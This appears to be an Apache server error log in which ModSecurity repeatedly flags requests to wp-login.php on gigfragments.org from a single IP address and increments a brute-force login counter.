[Fri Feb 27 10:17:02.296929 2026] [:error] [pid 56075:tid 56094] [client 45.141.233.210:60751] [client 45.141.233.210] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.141.233.210, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaD-nsKBhrfI6KNv9RhL4wAAABA"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 10:17:03.664535 2026] [:error] [pid 56075:tid 56098] [client 45.141.233.210:60751] [client 45.141.233.210] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.141.233.210, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaD-n8KBhrfI6KNv9RhL5AAAABQ"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 10:17:06.656206 2026] [:error] [pid 56075:tid 56090] [client 45.141.233.210:60751] [client 45.141.233.210] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.141.233.210, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaD-osKBhrfI6KNv9RhL6QAAAAw"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 10:17:08.119231 2026] [:error] [pid 56075:tid 56083] [client 45.141.233.210:60751] [client 45.141.233.210] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.141.233.210, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaD-pMKBhrfI6KNv9RhL6gAAAAY"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 10:17:10.951177 2026] [:error] [pid 56075:tid 56095] [client 45.141.233.210:60751] [client 45.141.233.210] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.141.233.210, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaD-psKBhrfI6KNv9RhL8gAAABE"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 10:17:12.303468 2026] [:error] [pid 56075:tid 56080] [client 45.141.233.210:60751] [client 45.141.233.210] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.141.233.210, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaD-qMKBhrfI6KNv9RhL8wAAAAM"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 10:17:15.116437 2026] [:error] [pid 56075:tid 56081] [client 45.141.233.210:60751] [client 45.141.233.210] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.141.233.210, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaD-q8KBhrfI6KNv9RhL-QAAAAQ"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 10:17:16.490563 2026] [:error] [pid 56075:tid 56097] [client 45.141.233.210:60751] [client 45.141.233.210] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.141.233.210, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaD-rMKBhrfI6KNv9RhL_AAAABM"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 10:17:19.465565 2026] [:error] [pid 56075:tid 56086] [client 45.141.233.210:60751] [client 45.141.233.210] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.141.233.210, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaD-r8KBhrfI6KNv9RhMEwAAAAk"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 10:17:20.914554 2026] [:error] [pid 56075:tid 56082] [client 45.141.233.210:60751] [client 45.141.233.210] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.141.233.210, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaD-sMKBhrfI6KNv9RhMIQAAAAU"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 10:17:23.916997 2026] [:error] [pid 56075:tid 56085] [client 45.141.233.210:60751] [client 45.141.233.210] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.141.233.210, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaD-s8KBhrfI6KNv9RhMLAAAAAg"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 10:17:25.335124 2026] [:error] [pid 56075:tid 56092] [client 45.141.233.210:60751] [client 45.141.233.210] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.141.233.210, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaD-tcKBhrfI6KNv9RhMLQAAAA4"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 10:17:28.245117 2026] [:error] [pid 56075:tid 56102] [client 45.141.233.210:60751] [client 45.141.233.210] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.141.233.210, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaD-uMKBhrfI6KNv9RhMMAAAABg"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 10:17:29.623618 2026] [:error] [pid 56075:tid 56097] [client 45.141.233.210:60751] [client 45.141.233.210] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.141.233.210, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaD-ucKBhrfI6KNv9RhMMQAAABM"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 10:17:32.467248 2026] [:error] [pid 56075:tid 56079] [client 45.141.233.210:60751] [client 45.141.233.210] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.141.233.210, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaD-vMKBhrfI6KNv9RhMPAAAAAI"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 10:17:33.909070 2026] [:error] [pid 56075:tid 56096] [client 45.141.233.210:60751] [client 45.141.233.210] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.141.233.210, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaD-vcKBhrfI6KNv9RhMPwAAABI"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 10:17:36.798112 2026] [:error] [pid 56075:tid 56087] [client 45.141.233.210:60751] [client 45.141.233.210] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.141.233.210, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaD-wMKBhrfI6KNv9RhMVQAAAAo"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 10:17:38.208618 2026] [:error] [pid 56075:tid 56094] [client 45.141.233.210:60751] [client 45.141.233.210] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.141.233.210, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaD-wsKBhrfI6KNv9RhMWwAAABA"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 10:17:41.197818 2026] [:error] [pid 56075:tid 56090] [client 45.141.233.210:60751] [client 45.141.233.210] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.141.233.210, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaD-xcKBhrfI6KNv9RhMZQAAAAw"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 10:17:42.600197 2026] [:error] [pid 56075:tid 56087] [client 45.141.233.210:60751] [client 45.141.233.210] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.141.233.210, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaD-xsKBhrfI6KNv9RhMaAAAAAo"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 10:17:45.672715 2026] [:error] [pid 56075:tid 56098] [client 45.141.233.210:60751] [client 45.141.233.210] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.141.233.210, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaD-ycKBhrfI6KNv9RhMdAAAABQ"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 10:17:47.063701 2026] [:error] [pid 56075:tid 56087] [client 45.141.233.210:60751] [client 45.141.233.210] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.141.233.210, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaD-y8KBhrfI6KNv9RhMeQAAAAo"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 10:17:50.109301 2026] [:error] [pid 56075:tid 56090] [client 45.141.233.210:60751] [client 45.141.233.210] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.141.233.210, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaD-zsKBhrfI6KNv9RhMhAAAAAw"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 10:17:51.572726 2026] [:error] [pid 56075:tid 56092] [client 45.141.233.210:60751] [client 45.141.233.210] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.141.233.210, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaD-z8KBhrfI6KNv9RhMiQAAAA4"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 10:17:54.541476 2026] [:error] [pid 56075:tid 56093] [client 45.141.233.210:60751] [client 45.141.233.210] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.141.233.210, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaD-0sKBhrfI6KNv9RhMkQAAAA8"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 10:17:55.956758 2026] [:error] [pid 56075:tid 56079] [client 45.141.233.210:60751] [client 45.141.233.210] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.141.233.210, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaD-08KBhrfI6KNv9RhMkwAAAAI"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 10:17:58.961733 2026] [:error] [pid 56075:tid 56093] [client 45.141.233.210:60751] [client 45.141.233.210] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.141.233.210, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaD-1sKBhrfI6KNv9RhMoQAAAA8"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 10:18:00.337227 2026] [:error] [pid 56075:tid 56083] [client 45.141.233.210:60751] [client 45.141.233.210] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.141.233.210, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaD-2MKBhrfI6KNv9RhMqAAAAAY"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 10:18:03.375487 2026] [:error] [pid 56075:tid 56080] [client 45.141.233.210:60751] [client 45.141.233.210] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.141.233.210, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaD-28KBhrfI6KNv9RhMugAAAAM"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 10:18:04.751742 2026] [:error] [pid 56075:tid 56095] [client 45.141.233.210:60751] [client 45.141.233.210] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.141.233.210, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaD-3MKBhrfI6KNv9RhMvgAAABE"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 10:18:07.801616 2026] [:error] [pid 56075:tid 56082] [client 45.141.233.210:60751] [client 45.141.233.210] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.141.233.210, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaD-38KBhrfI6KNv9RhMxAAAAAU"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 10:18:09.168406 2026] [:error] [pid 56075:tid 56102] [client 45.141.233.210:60751] [client 45.141.233.210] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.141.233.210, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaD-4cKBhrfI6KNv9RhMxQAAABg"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 10:18:12.215048 2026] [:error] [pid 56075:tid 56085] [client 45.141.233.210:60751] [client 45.141.233.210] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.141.233.210, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaD-5MKBhrfI6KNv9RhMxwAAAAg"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 10:18:13.697448 2026] [:error] [pid 56075:tid 56080] [client 45.141.233.210:60751] [client 45.141.233.210] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.141.233.210, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaD-5cKBhrfI6KNv9RhMyAAAAAM"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 10:18:16.767698 2026] [:error] [pid 56075:tid 56090] [client 45.141.233.210:60751] [client 45.141.233.210] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.141.233.210, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaD-6MKBhrfI6KNv9RhMzgAAAAw"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 10:18:18.207237 2026] [:error] [pid 56075:tid 56087] [client 45.141.233.210:60751] [client 45.141.233.210] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.141.233.210, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaD-6sKBhrfI6KNv9RhM1gAAAAo"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 10:18:21.215987 2026] [:error] [pid 56075:tid 56101] [client 45.141.233.210:60751] [client 45.141.233.210] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.141.233.210, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaD-7cKBhrfI6KNv9RhM4AAAABc"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 10:18:22.623538 2026] [:error] [pid 56075:tid 56079] [client 45.141.233.210:60751] [client 45.141.233.210] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.141.233.210, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaD-7sKBhrfI6KNv9RhM5QAAAAI"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 10:18:25.422844 2026] [:error] [pid 56075:tid 56100] [client 45.141.233.210:60751] [client 45.141.233.210] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.141.233.210, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaD-8cKBhrfI6KNv9RhM7wAAABY"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 10:18:26.797950 2026] [:error] [pid 56075:tid 56082] [client 45.141.233.210:60751] [client 45.141.233.210] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.141.233.210, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaD-8sKBhrfI6KNv9RhM9wAAAAU"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 10:18:29.707921 2026] [:error] [pid 56075:tid 56091] [client 45.141.233.210:60751] [client 45.141.233.210] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.141.233.210, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaD-9cKBhrfI6KNv9RhM_AAAAA0"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 10:18:31.066025 2026] [:error] [pid 56075:tid 56102] [client 45.141.233.210:60751] [client 45.141.233.210] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.141.233.210, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaD-98KBhrfI6KNv9RhNAQAAABg"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 10:18:33.841897 2026] [:error] [pid 56075:tid 56090] [client 45.141.233.210:60751] [client 45.141.233.210] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.141.233.210, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaD--cKBhrfI6KNv9RhNEAAAAAw"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 10:18:35.193867 2026] [:error] [pid 56075:tid 56087] [client 45.141.233.210:60751] [client 45.141.233.210] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.141.233.210, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaD--8KBhrfI6KNv9RhNGQAAAAo"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 10:18:38.077118 2026] [:error] [pid 56075:tid 56100] [client 45.141.233.210:60751] [client 45.141.233.210] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.141.233.210, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaD-_sKBhrfI6KNv9RhNLwAAABY"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 10:18:39.515879 2026] [:error] [pid 56075:tid 56079] [client 45.141.233.210:60751] [client 45.141.233.210] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.141.233.210, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaD-_8KBhrfI6KNv9RhNNwAAAAI"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 10:18:42.645081 2026] [:error] [pid 56075:tid 56082] [client 45.141.233.210:60751] [client 45.141.233.210] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.141.233.210, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaD_AsKBhrfI6KNv9RhNSgAAAAU"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 10:18:44.048025 2026] [:error] [pid 56075:tid 56085] [client 45.141.233.210:60751] [client 45.141.233.210] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.141.233.210, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaD_BMKBhrfI6KNv9RhNVgAAAAg"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 10:18:47.153181 2026] [:error] [pid 56075:tid 56101] [client 45.141.233.210:60751] [client 45.141.233.210] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.141.233.210, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaD_B8KBhrfI6KNv9RhNbQAAABc"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 10:18:48.583279 2026] [:error] [pid 56075:tid 56085] [client 45.141.233.210:60751] [client 45.141.233.210] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.141.233.210, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaD_CMKBhrfI6KNv9RhNdQAAAAg"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 10:18:52.283300 2026] [:error] [pid 54231:tid 54245] [client 45.141.233.210:52667] [client 45.141.233.210] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.141.233.210, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaD_DOTvb5AeyJCdY7BHkAAAAEs"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 10:18:53.626353 2026] [:error] [pid 54231:tid 54255] [client 45.141.233.210:52667] [client 45.141.233.210] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.141.233.210, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaD_DeTvb5AeyJCdY7BHkQAAAFU"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 10:18:56.738868 2026] [:error] [pid 54231:tid 54249] [client 45.141.233.210:52667] [client 45.141.233.210] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.141.233.210, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaD_EOTvb5AeyJCdY7BHmwAAAE8"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 10:18:58.223173 2026] [:error] [pid 54231:tid 54254] [client 45.141.233.210:52667] [client 45.141.233.210] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.141.233.210, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaD_EuTvb5AeyJCdY7BHnAAAAFQ"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 10:19:01.562684 2026] [:error] [pid 54231:tid 54234] [client 45.141.233.210:52667] [client 45.141.233.210] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.141.233.210, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaD_FeTvb5AeyJCdY7BHpAAAAEA"], referer: https://gigfragments.org/wp-login.php
